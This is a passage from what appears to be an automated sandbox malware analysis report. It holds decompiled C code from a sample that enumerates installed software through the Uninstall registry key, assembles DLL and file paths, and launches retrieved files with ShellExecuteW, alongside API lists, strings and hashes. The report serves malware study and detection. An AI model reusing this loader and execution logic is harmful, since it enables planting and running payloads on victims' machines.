					_t133 =  *0xa4ec6c; // 0x0
					if( *_t133() != 0) {
						L42:
						 *0xa4ec84();
						LocalFree(_v40);
						goto L43;
					}
					_t228 = _v44;
					_t265 = _t228;
					_push(_t228);
					_v32 = _t265;
					_t273 = 1;
					if( *((intOrPtr*)( *0xa4e18c))() <= 0x200) {
						L41:
						_t264 = _v68;
						goto L42;
					}
					while(_t273 != 0) {
						_v60 = _v60 & 0x00000000;
						_t140 =  *((intOrPtr*)( *0xa4e010))(_t265, _v48);
						_v20 = _v20 | 0xffffffff;
						_t210 = _t140;
						_v16 = _v16 | 0xffffffff;
						if(_t210 == 0) {
							break;
						}
						_t211 = _t210 - _t265;
						if(_t210 - _t265 < 0) {
							break;
						}
						_t142 =  *((intOrPtr*)( *0xa4e010))(_t265, _v80);
						if(_t142 == 0) {
							_t273 = 0;
						} else {
							_v20 = _t142 - _t265;
						}
						_v8 = _t273;
						_t144 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x800);
						_a8 = _t144;
						_t146 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x800);
						_v24 = _t146;
						_t147 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x800);
						_push(_v20);
						_v28 = _t147;
						if(E00A4A52F(_t265,  &_a8,  *((intOrPtr*)( *0xa4e18c))() + _t211, _v48) == 0) {
							L38:
							LocalFree(_a8);
							LocalFree(_v24);
							LocalFree(_v28);
							_t212 = _v16;
							if(_t212 < 0) {
								break;
							}
							_t265 = _t265 +  *((intOrPtr*)( *0xa4e18c))(_v64) + _t212;
							_push(_t265);
							_v32 = _t265;
							if( *((intOrPtr*)( *0xa4e18c))() > 0x200) {
								continue;
							}
							break;
						} else {
							_t160 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x1000);
							_v12 = _t160;
							_t163 = MultiByteToWideChar(0xfde9, 0, _a8,  *((intOrPtr*)( *0xa4e18c))(_a8) + 1, 0, 0);
							_v20 = _t163;
							if(_t163 != 0) {
								_t267 = _t163 + _t163;
								_t196 =  *((intOrPtr*)( *0xa4e048))(0x40, _t267);
								_t216 = _t196;
								MultiByteToWideChar(0xfde9, 0, _a8,  *((intOrPtr*)( *0xa4e18c))(_a8) + 1, _t216, _v20);
								 *((short*)(_t267 + _t216 - 2)) = 0;
								_v12 =  *((intOrPtr*)( *0xa4e13c))(_v12, _t216);
								LocalFree(_t216);
								_t265 = _v32;
								_v60 = 1;
							}
							_t165 =  *((intOrPtr*)( *0xa4e010))(_t265, _v52);
							if(_t165 == 0) {
								L36:
								_t273 = 0;
								L37:
								LocalFree(_v12);
								goto L38;
							}
							_t273 = _v8;
							_t167 = _t165 - _t265;
							_v20 = _t167;
							if(_t167 < 0) {
								goto L37;
							}
							_t213 =  *((intOrPtr*)( *0xa4e010))(_t265, _v56);
							if(_t213 == 0) {
								goto L36;
							}
							_t214 = _t213 - _t265;
							if(_t214 >= 0) {
								_push(_t214);
								if(E00A4A52F(_t265,  &_v24,  *((intOrPtr*)( *0xa4e18c))() + _v20, _v52) != 0) {
									_v20 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x3f40);
									E00A4617D(_v24,  &_v20);
									_t240 =  *((intOrPtr*)( *0xa4e010))(_t265, _v64);
									if(_t240 == 0) {
										_t273 = 0;
									} else {
										_t241 = _t240 - _t265;
										_v92 = _t241;
										_v16 = _t241;
										if(_t241 >= 0) {
											_push(_t241);
											_v16 = _t241;
											if(E00A4A52F(_t265,  &_v28,  *((intOrPtr*)( *0xa4e18c))() + _t214, _v56) != 0) {
												_v16 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x3f40);
												if(E00A4617D(_v28,  &_v16) != 0 && _v60 != 0) {
													_t190 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x400);
													_t215 = _t190;
													_t191 =  *((intOrPtr*)( *0xa4e0f0))(_t215,  *0xa4e198, _v12, _v20, _v16);
													_t278 = _t278 + 0x14;
													if(_t191 >= lstrlenW( *0xa4e198)) {
														_t276 = _v84;
														 *_t276 = E00A4A5DB( *_t276, _t215);
													}
													if(_t215 != 0) {
														LocalFree(_t215);
													}
													_t265 = _v32;
													 *_v88 =  *_v88 + 1;
												}
												LocalFree(_v16);
												_t273 = _v8;
												_v16 = _v92;
											}
										}
									}
									LocalFree(_v20);
								}
							}
							goto L37;
						}
					}
					_t209 = _v36;
					goto L41;
				}
				_push(0);
				_push(0);
				_push(_t271);
				_push(_t132);
				_push(0xffffffff);
				_push(_a4);
				_push(0);
				_push(0xfde9);
				if( *((intOrPtr*)( *0xa4e0e8))() != 0) {
					goto L7;
				} else {
					LocalFree(_v44);
					LocalFree(_t264);
					LocalFree(_t209);
					LocalFree(_v40);
					goto L49;
				}
			}

0x00a46a48
0x00a46a4b
0x00a46a4e
0x00a46f21
0x00000000
0x00a46f21
0x00a46a54
0x00a46a5e
0x00a46a62
0x00a46a65
0x00a46a6a
0x00a46a6d
0x00a46a72
0x00a46a75
0x00a46a7a
0x00a46a7d
0x00a46a83
0x00a46a8d
0x00a46a9a
0x00a46aab
0x00a46ab1
0x00a46ab6
0x00a46ab9
0x00a46abe
0x00a46ac3
0x00a46f0c
0x00a46f0d
0x00a46f14
0x00a46f1b
0x00a46f1b
0x00000000
0x00a46f1b
0x00a46ad1
0x00a46ad2
0x00a46ad3
0x00a46ad8
0x00000000
0x00000000
0x00a46af0
0x00a46afa
0x00a46b05
0x00a46b0a
0x00a46b15
0x00a46b17
0x00a46b18
0x00a46b1b
0x00a46b1f
0x00a46b20
0x00a46b27
0x00a46ed8
0x00a46edb
0x00a46ee4
0x00a46eeb
0x00a46ef3
0x00a46ef6
0x00a46ef6
0x00a46efe
0x00a46f01
0x00a46f01
0x00000000
0x00a46f09
0x00a46b4b
0x00a46b4d
0x00a46b53
0x00a46b55
0x00a46b5a
0x00a46b98
0x00a46b98
0x00a46b9b
0x00a46ba5
0x00a46ec9
0x00a46ec9
0x00a46ed2
0x00000000
0x00a46ed2
0x00a46bab
0x00a46bb5
0x00a46bb7
0x00a46bb8
0x00a46bbb
0x00a46bc3
0x00a46ec6
0x00a46ec6
0x00000000
0x00a46ec6
0x00a46bc9
0x00a46bd9
0x00a46bde
0x00a46be0
0x00a46be4
0x00a46be6
0x00a46bec
0x00000000
0x00000000
0x00a46bf2
0x00a46bf4
0x00000000
0x00000000
0x00a46c03
0x00a46c07
0x00a46c10
0x00a46c09
0x00a46c0b
0x00a46c0b
0x00a46c1e
0x00a46c21
0x00a46c28
0x00a46c32
0x00a46c41
0x00a46c44
0x00a46c46
0x00a46c52
0x00a46c68
0x00a46e7d
0x00a46e80
0x00a46e89
0x00a46e92
0x00a46e98
0x00a46e9d
0x00000000
0x00000000
0x00a46eab
0x00a46eb2
0x00a46eb3
0x00a46ebd
0x00000000
0x00000000
0x00000000
0x00a46c6e
0x00a46c7a
0x00a46c8b
0x00a46ca0
0x00a46ca2
0x00a46ca7
0x00a46caf
0x00a46cb5
0x00a46cc0
0x00a46cda
0x00a46ce2
0x00a46cef
0x00a46cf2
0x00a46cf8
0x00a46cfb
0x00a46cfb
0x00a46d0b
0x00a46d0f
0x00a46e72
0x00a46e72
0x00a46e74
0x00a46e77
0x00000000
0x00a46e77
0x00a46d15
0x00a46d18
0x00a46d1a
0x00a46d1d
0x00000000
0x00000000
0x00a46d2e
0x00a46d32
0x00000000
0x00000000
0x00a46d38
0x00a46d3c
0x00a46d47
0x00a46d5f
0x00a46d79
0x00a46d7c
0x00a46d8c
0x00a46d90
0x00a46e65
0x00a46d96
0x00a46d96
0x00a46d9a
0x00a46d9d
0x00a46da0
0x00a46dab
0x00a46daf
0x00a46dc5
0x00a46ddf
0x00a46de9
0x00a46dfd
0x00a46e08
0x00a46e1d
0x00a46e1f
0x00a46e2e
0x00a46e30
0x00a46e3c
0x00a46e3c
0x00a46e40
0x00a46e43
0x00a46e43
0x00a46e4c
0x00a46e4f
0x00a46e4f
0x00a46e54
0x00a46e5d
0x00a46e60
0x00a46e60
0x00a46dc5
0x00a46da0
0x00a46e6a
0x00a46e6a
0x00a46d5f
0x00000000
0x00a46d3c
0x00a46c68
0x00a46ec3
0x00000000
0x00a46ec3
0x00a46b64
0x00a46b65
0x00a46b66
0x00a46b67
0x00a46b68
0x00a46b6a
0x00a46b6d
0x00a46b6e
0x00a46b77
0x00000000
0x00a46b79
0x00a46b7c
0x00a46b83
0x00a46b8a
0x00a46f1b
0x00000000
0x00a46f1b

APIs

Part of subcall function 00A4A7C4: LocalFree.KERNEL32(00000000,?,?,00A4B3F8), ref: 00A4A827

LocalFree.KERNEL32(?), ref: 00A46B7C
LocalFree.KERNEL32(00000000), ref: 00A46B83
LocalFree.KERNEL32(?), ref: 00A46B8A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,000000FF,00000001,00000000,00000000), ref: 00A46CA0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,000000FF,00000001,00000000,000000FF), ref: 00A46CDA
LocalFree.KERNEL32(00000000), ref: 00A46CF2
LocalFree.KERNEL32(?), ref: 00A46EDB
CloseHandle.KERNEL32(?), ref: 00A46EE4
DeleteFileW.KERNEL32(?), ref: 00A46EEB
LocalFree.KERNEL32(00000000), ref: 00A46EF6
LocalFree.KERNEL32(?), ref: 00A46F01
LocalFree.KERNEL32(00000000), ref: 00A46F0D
DeleteFileW.KERNEL32(?), ref: 00A46F14
LocalFree.KERNEL32(?), ref: 00A46F1B

Strings

xy, xrefs: 00A46A54

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$ByteCharDeleteFileMultiWide$CloseHandle
String ID: xy
API String ID: 490209112-925674813
Opcode ID: c8b3ec6def7c33306f2b4f0a2867b4db5e67cdac2a4411466c3cc6906f91ee59
Instruction ID: 3d6e73e7b9c60f3688f73c08cd7f9733d8a977b11970c96881a00f8f40e6ac26
Opcode Fuzzy Hash: c8b3ec6def7c33306f2b4f0a2867b4db5e67cdac2a4411466c3cc6906f91ee59
Instruction Fuzzy Hash: E9E18E7DA40205EFDB14DFE4DC85AAEBBB5FBCA310F104519F521A72A0DBB59902CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00A470DE Relevance: 42.3, APIs: 22, Strings: 2, Instructions: 315
memoryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00A470DE() {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				char _v24;
				void* _v28;
				intOrPtr _v32;
				void* __ecx;
				void* _t65;
				void* _t72;
				void* _t79;
				void* _t86;
				void* _t97;
				void* _t108;
				void* _t122;
				void* _t123;
				char _t128;
				void* _t137;
				void* _t139;
				void* _t140;
				void* _t142;
				void* _t144;
				void* _t183;
				intOrPtr _t188;
				void* _t189;
				void* _t190;
				void* _t192;
				void* _t194;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t202;
				signed int _t205;
				void* _t207;
				signed int _t209;
				void* _t211;
				signed int _t213;
				void* _t215;
				signed int _t217;
				char _t218;
				void* _t219;
				void* _t222;
				void* _t223;

				_t190 =  *((intOrPtr*)( *0xa4e180))(_t144,  *0xa4eb8c, _t189);
				if(_t190 == 0) {
					L41:
					return 0;
				} else {
					while(1) {
						_t192 = _t190 + 8;
						_t65 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t192) + _t63);
						_t137 = _t65;
						_v20 = _t137;
						_t202 =  *((intOrPtr*)( *0xa4e180))(_t192,  *0xa4e1e4);
						if(_t202 == 0) {
							break;
						}
						_t205 = _t202 - _t192 >> 1;
						if(E00A4A4BC(_t192,  &_v20, 0, _t205) == 0) {
							_t137 = _v20;
							break;
						}
						_t194 = _t192 + _t205 * 2 + 2;
						_t72 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t194) + _t70);
						_t139 = _t72;
						_v12 = _t139;
						_t207 =  *((intOrPtr*)( *0xa4e180))(_t194,  *0xa4e200);
						if(_t207 == 0) {
							L36:
							LocalFree(_t139);
							L34:
							LocalFree(_v20);
							L39:
							L40:
							goto L41;
						}
						_t209 = _t207 - _t194 >> 1;
						if(E00A4A4BC(_t194,  &_v12, 0, _t209) == 0) {
							_t139 = _v12;
							goto L36;
						}
						_t196 = _t194 + _t209 * 2 + 2;
						_t79 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t196) + _t77);
						_t140 = _t79;
						_v8 = _t140;
						_t211 =  *((intOrPtr*)( *0xa4e180))(_t196,  *0xa4e200);
						if(_t211 == 0) {
							L33:
							LocalFree(_t140);
							LocalFree(_v12);
							goto L34;
						}
						_t213 = _t211 - _t196 >> 1;
						if(E00A4A4BC(_t196,  &_v8, 0, _t213) == 0) {
							_t140 = _v8;
							goto L33;
						}
						_t198 = _t196 + _t213 * 2 + 2;
						_t86 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t198) + _t84);
						_t137 = _t86;
						_v16 = _t137;
						_t215 =  *((intOrPtr*)( *0xa4e180))(_t198,  *0xa4e21c);
						if(_t215 == 0) {
							L31:
							LocalFree(_v12);
							LocalFree(_v20);
							L29:
							break;
						}
						_t217 = _t215 - _t198 >> 1;
						if(E00A4A4BC(_t198,  &_v16, 0, _t217) == 0) {
							_t137 = _v16;
							goto L31;
						}
						_t15 = _t217 + 1; // 0x1
						_t199 = _v20;
						_v32 = _t198 + _t15 * 2;
						_push(_t199);
						if( *((intOrPtr*)( *0xa4e078))() != 1) {
							_push(_t199);
							if( *((intOrPtr*)( *0xa4e078))() != 2) {
								_push(_t199);
								if( *((intOrPtr*)( *0xa4e078))() == 3) {
									ShellExecuteW(0, L"open", _v16, _v12, 0, 0);
								}
							}
							L24:
							_t97 = _v8;
							L25:
							LocalFree(_t97);
							LocalFree(_v12);
							LocalFree(_t199);
							LocalFree(_v16);
							_t190 =  *((intOrPtr*)( *0xa4e180))(_v32,  *0xa4eb8c);
							if(_t190 != 0) {
								continue;
							}
							goto L40;
						}
						_t97 = _v8;
						if( *_t97 != 0x25) {
							goto L25;
						}
						_t21 = _t97 + 2; // 0xa47994
						_t218 = _t21;
						_v24 = _t218;
						_t108 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x410);
						_t137 = _t108;
						_v20 = _t137;
						_t219 =  *((intOrPtr*)( *0xa4e180))(_t218,  *0xa4eb58);
						if(_t219 == 0) {
							L28:
							LocalFree(_v8);
							LocalFree(_v12);
							LocalFree(_t199);
							LocalFree(_v16);
							goto L29;
						}
						_t221 = _t219 - _v24 >> 1;
						if(E00A4A4BC(_v24,  &_v20, 0, _t219 - _v24 >> 1) == 0) {
							_t137 = _v20;
							goto L28;
						}
						_t142 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x410);
						_push(0x208);
						_push(_t142);
						_push(_v20);
						if( *((intOrPtr*)( *0xa4e158))() != 0) {
							_t222 = E00A4A5DB(_t142, _v24 + 2 + _t221 * 2);
							_t122 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x209);
							_t183 = 8;
							_t123 = E00A4A139(_t122, _t183);
							_t143 = _t123;
							_push(_t222);
							_v28 = _t123;
							if( *((short*)(_t222 +  *((intOrPtr*)( *0xa4e090))() * 2 - 2)) != 0x5c) {
								_t188 =  *0xa4ea50; // 0x796258
								_t222 = E00A4A5DB(_t222, _t188);
							}
							_t142 = E00A4A5DB(E00A4A5DB(E00A4A5DB(_t222, _t143), "."), _v16);
							_t128 =  *0xa4eb64; // 0x7a1e68
							_v24 = _t128;
							_t223 = E00A4839B( &_v24);
							if(E00A48218(_v12, _t223, _t142) != 0) {
								ShellExecuteW(0, 0, _t142, 0, 0, 0);
							}
							LocalFree(_v28);
							LocalFree(_t223);
						}
						LocalFree(_t142);
						LocalFree(_v20);
						goto L24;
					}
					LocalFree(_t137);
					goto L39;
				}
			}

0x00a470f3
0x00a470f7
0x00a47481
0x00a47485
0x00a470fd
0x00a470ff
0x00a47104
0x00a47115
0x00a47123
0x00a47126
0x00a4712b
0x00a4712f
0x00000000
0x00000000
0x00a4713a
0x00a4714a
0x00a47475
0x00000000
0x00a47475
0x00a4715e
0x00a47169
0x00a47177
0x00a4717a
0x00a4717f
0x00a47183
0x00a47472
0x00a47464
0x00a47464
0x00a47479
0x00a47479
0x00a4747f
0x00000000
0x00a47480
0x00a4718e
0x00a4719e
0x00a4746f
0x00000000
0x00a4746f
0x00a471b2
0x00a471bd
0x00a471cb
0x00a471ce
0x00a471d3
0x00a471d7
0x00a4745a
0x00a4745b
0x00a47464
0x00000000
0x00a47464
0x00a471e2
0x00a471f2
0x00a47457
0x00000000
0x00a47457
0x00a47206
0x00a47211
0x00a4721f
0x00a47222
0x00a47227
0x00a4722b
0x00a47449
0x00a4744c
0x00a4743e
0x00a4743e
0x00000000
0x00a4743e
0x00a47236
0x00a47247
0x00a47446
0x00000000
0x00a47446
0x00a4724d
0x00a47253
0x00a47256
0x00a4725e
0x00a47264
0x00a473b7
0x00a473bd
0x00a473c4
0x00a473ca
0x00a473da
0x00a473da
0x00a473ca
0x00a473e0
0x00a473e0
0x00a473e3
0x00a473e4
0x00a473ed
0x00a473f4
0x00a473fd
0x00a47413
0x00a47417
0x00000000
0x00000000
0x00000000
0x00a4741d
0x00a4726a
0x00a47271
0x00000000
0x00000000
0x00a47277
0x00a47277
0x00a47286
0x00a47289
0x00a47297
0x00a4729a
0x00a4729f
0x00a472a3
0x00a47422
0x00a47425
0x00a4742e
0x00a47435
0x00a4743e
0x00000000
0x00a4743e
0x00a472b2
0x00a472c0
0x00a4741f
0x00000000
0x00a4741f
0x00a472da
0x00a472dc
0x00a472e1
0x00a472e2
0x00a472e9
0x00a47305
0x00a4730e
0x00a47312
0x00a47315
0x00a47320
0x00a47322
0x00a47323
0x00a4732e
0x00a47330
0x00a4733d
0x00a4733d
0x00a4735e
0x00a47363
0x00a47368
0x00a47373
0x00a47380
0x00a4738a
0x00a4738a
0x00a47393
0x00a4739a
0x00a4739a
0x00a473a1
0x00a473aa
0x00000000
0x00a473aa
0x00a47479
0x00000000
0x00a47479

APIs

LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00A47992), ref: 00A47115
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00A47992), ref: 00A47479

Part of subcall function 00A4A4BC: LocalAlloc.KERNEL32(00000040,00000000,?,00A4848C,00000000,00000000,?,?,?,?,?,?,00A4777E), ref: 00A4A4E4
Part of subcall function 00A4A4BC: LocalFree.KERNEL32(00000000,?,00A4848C,00000000,00000000,?,?,?,?,?,?,00A4777E), ref: 00A4A521

LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00A47992), ref: 00A47169
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00A47992), ref: 00A471BD
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00A47992), ref: 00A47211
ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A4738A
LocalFree.KERNEL32(?,?,?,?,?,?,?,00A47992), ref: 00A47393
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00A47992), ref: 00A4739A
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00A47992), ref: 00A473A1
LocalFree.KERNEL32(?,?,?,?,?,?,?,00A47992), ref: 00A473AA

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

ShellExecuteW.SHELL32(00000000,open,?,?,00000000,00000000), ref: 00A473DA
LocalFree.KERNEL32(00A47992,?,?,?,?,?,?,00A47992), ref: 00A473E4
LocalFree.KERNEL32(?,?,?,?,?,?,?,00A47992), ref: 00A473ED
LocalFree.KERNEL32(?,?,?,?,?,?,?,00A47992), ref: 00A473F4
LocalFree.KERNEL32(?,?,?,?,?,?,?,00A47992), ref: 00A473FD
LocalFree.KERNEL32(00A47992,?,?,?,?,?,?,00A47992), ref: 00A47425
LocalFree.KERNEL32(?,?,?,?,?,?,?,00A47992), ref: 00A4742E
LocalFree.KERNEL32(?,?,?,?,?,?,?,00A47992), ref: 00A47435
LocalFree.KERNEL32(?,?,?,?,?,?,?,00A47992), ref: 00A4743E
LocalFree.KERNEL32(?,?,?,?,?,?,?,00A47992), ref: 00A4744C
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00A47992), ref: 00A4745B
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00A47992), ref: 00A47464

Strings

Xby, xrefs: 00A47330
open, xrefs: 00A473D4

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: Local$Free$Alloc$ExecuteShelllstrlen$Global
String ID: Xby$open
API String ID: 4025529775-1653662627
Opcode ID: 17c3419f27f3f05f69b5c33fa5ee841716ece6c02e3a10cd3e9aa7992df35cde
Instruction ID: d775f1458c5708957bf2b0765c67e3ecd5ed2f1eb576a792d7c90d70f84bdbd8
Opcode Fuzzy Hash: 17c3419f27f3f05f69b5c33fa5ee841716ece6c02e3a10cd3e9aa7992df35cde
Instruction Fuzzy Hash: D4A1A03EA40215EFDB14DBE8DC85D7E7BB5FBC5300B104554EA15A7260DBB5AD02CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A49436 Relevance: 42.3, APIs: 19, Strings: 5, Instructions: 309registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

RegCloseKey.ADVAPI32(00000000), ref: 00A4947B
LocalFree.KERNEL32(00000000), ref: 00A494E6
RegCloseKey.ADVAPI32(000F003F), ref: 00A494EF
RegCloseKey.ADVAPI32(00000000), ref: 00A49603
LocalFree.KERNEL32(00000000), ref: 00A4968C
RegCloseKey.ADVAPI32(000F003F), ref: 00A49695

Strings

DisplayVersion, xrefs: 00A49571, 00A49717
%s %s, xrefs: 00A49595, 00A4973B
DisplayName, xrefs: 00A49538, 00A496DE
?, xrefs: 00A49446
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00A49468, 00A49618

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: Close$Free$Locallstrlen$Global
String ID: %s %s$?$DisplayName$DisplayVersion$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 4129056489-2725056526
Opcode ID: 4c72ddf9de9782ee8f0b64324fc233e594d48be7e56e68a347dbd5966febce2c
Instruction ID: 6923329024dfa4cdbc144e32183fe078d8dbf1833b65bba930561dbf19448e02
Opcode Fuzzy Hash: 4c72ddf9de9782ee8f0b64324fc233e594d48be7e56e68a347dbd5966febce2c
Instruction Fuzzy Hash: 41B12779640209EFDB15DFA5DC85EAFBBB9FFCA340B104014FA19A6260D7B19A11CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A483CE Relevance: 31.7, APIs: 18, Strings: 3, Instructions: 247
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00A483CE(void* __ecx, intOrPtr __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				intOrPtr _v32;
				void* _t55;
				void* _t61;
				void* _t73;
				void* _t74;
				signed int _t81;
				void* _t83;
				void* _t90;
				signed int _t91;
				void* _t100;
				void* _t101;
				void* _t103;
				signed int _t104;
				void* _t106;
				void* _t107;
				signed int _t111;
				void* _t112;
				void* _t113;
				void* _t115;
				void* _t122;
				signed int _t137;
				intOrPtr _t146;
				void* _t150;
				void* _t152;

				_t115 = __ecx;
				_v32 = __edx;
				_t152 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(__ecx) + _t45);
				_push(_t115);
				_v12 = _t152;
				if( *((intOrPtr*)( *0xa4e090))() == 0x26) {
					L25:
					if(_t152 != 0) {
						LocalFree(_t152);
					}
					return 1;
				} else {
					goto L1;
				}
				do {
					L1:
					_t55 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t115) + _t53);
					_v8 = _t55;
					_t150 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t115) + _t56);
					_v16 = _t150;
					_t61 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t115) + _t59);
					_t152 = _t61;
					_v24 = _t152;
					_t122 =  *((intOrPtr*)( *0xa4e180))(_t115,  *0xa4e1e0);
					_t63 = 0;
					_v28 = 0;
					if(_t122 == 0) {
						L3:
						if(E00A4A4BC(_t115,  &_v8, 0, _t63) != 1) {
							goto L17;
						}
						_t73 =  *((intOrPtr*)( *0xa4e180))(_t115,  *0xa4e21c);
						_v20 = _t73;
						if(_t73 == 0) {
							_t74 = _v12;
							if(_t74 != 0) {
								LocalFree(_t74);
							}
							if(_v8 != 0) {
								LocalFree(_v8);
							}
							if(_t150 != 0) {
								LocalFree(_t150);
							}
							goto L25;
						}
						_push(L"libs");
						_push(_v8);
						if( *((intOrPtr*)( *0xa4e114))() != 0) {
							goto L17;
						}
						_t115 = _t115 + _v28 * 2 + 2;
						_t81 = _v20 - _t115;
						_v20 = _t81 >> 1;
						if(_t81 == 0) {
							L33:
							_t83 = _v12;
							if(_t83 != 0) {
								LocalFree(_t83);
							}
							if(_v8 == 0) {
								L38:
								if(_t150 != 0) {
									LocalFree(_t150);
								}
								if(_t152 != 0) {
									LocalFree(_t152);
								}
								return 0;
							} else {
								LocalFree(_v8);
								L37:
								goto L38;
							}
						}
						_t90 =  *((intOrPtr*)( *0xa4e180))(_t115,  *0xa4e1e4);
						if(_t90 == 0) {
							goto L33;
						}
						_t91 = _t90 - _t115;
						_t92 = _t91 >> 1;
						_v28 = _t91 >> 1;
						if(_t91 == 0) {
							goto L33;
						}
						if(E00A4A4BC(_t115,  &_v16, 0, _t92) == 0) {
							L16:
							_t150 = _v16;
							goto L17;
						}
						if(E00A4A4BC(_t115,  &_v24, _v28 + 1, _v20) == 0) {
							_t152 = _v24;
							goto L16;
						}
						_t100 = E00A4A5DB( *((intOrPtr*)( *0xa4e048))(0x40, 0x208), _v32);
						_t146 =  *0xa4ea50; // 0x796258
						_t101 = E00A4A5DB(_t100, _t146);
						_t150 = _v16;
						_t103 = E00A4A5DB(E00A4A5DB(_t101, _t150), L".dll");
						_t137 =  *0xa4eb64; // 0x7a1e68
						_v28 = _t137;
						_v20 = _t103;
						_t104 = E00A4839B( &_v28);
						_t152 = _v24;
						_v28 = _t104;
						E00A48218(_t152, _t104, _t103);
						_t106 = _v28;
						if(_t106 != 0) {
							LocalFree(_t106);
						}
						_t107 = _v20;
						if(_t107 != 0) {
							LocalFree(_t107);
						}
						goto L17;
					}
					_t111 = _t122 - _t115;
					_t63 = _t111 >> 1;
					_v28 = _t111 >> 1;
					if(_t111 < 0) {
						_t112 = _v12;
						if(_t112 != 0) {
							LocalFree(_t112);
						}
						_t113 = _v8;
						if(_t113 == 0) {
							goto L38;
						} else {
							LocalFree(_t113);
							goto L37;
						}
					}
					goto L3;
					L17:
					if(_v8 != 0) {
						LocalFree(_v8);
					}
					if(_t150 != 0) {
						LocalFree(_t150);
					}
					if(_t152 != 0) {
						LocalFree(_t152);
					}
					_t34 =  *((intOrPtr*)( *0xa4e180))(_t115,  *0xa4e21c) + 2; // 0x2
					_t115 = _t34;
					_push(_t115);
				} while ( *((intOrPtr*)( *0xa4e090))() != 0x26);
				_t152 = _v12;
				goto L25;
			}

0x00a483e1
0x00a483e5
0x00a483f7
0x00a483f9
0x00a483fa
0x00a48402
0x00a4860a
0x00a4860c
0x00a4860f
0x00a4860f
0x00000000
0x00000000
0x00000000
0x00000000
0x00a48408
0x00a48408
0x00a4841b
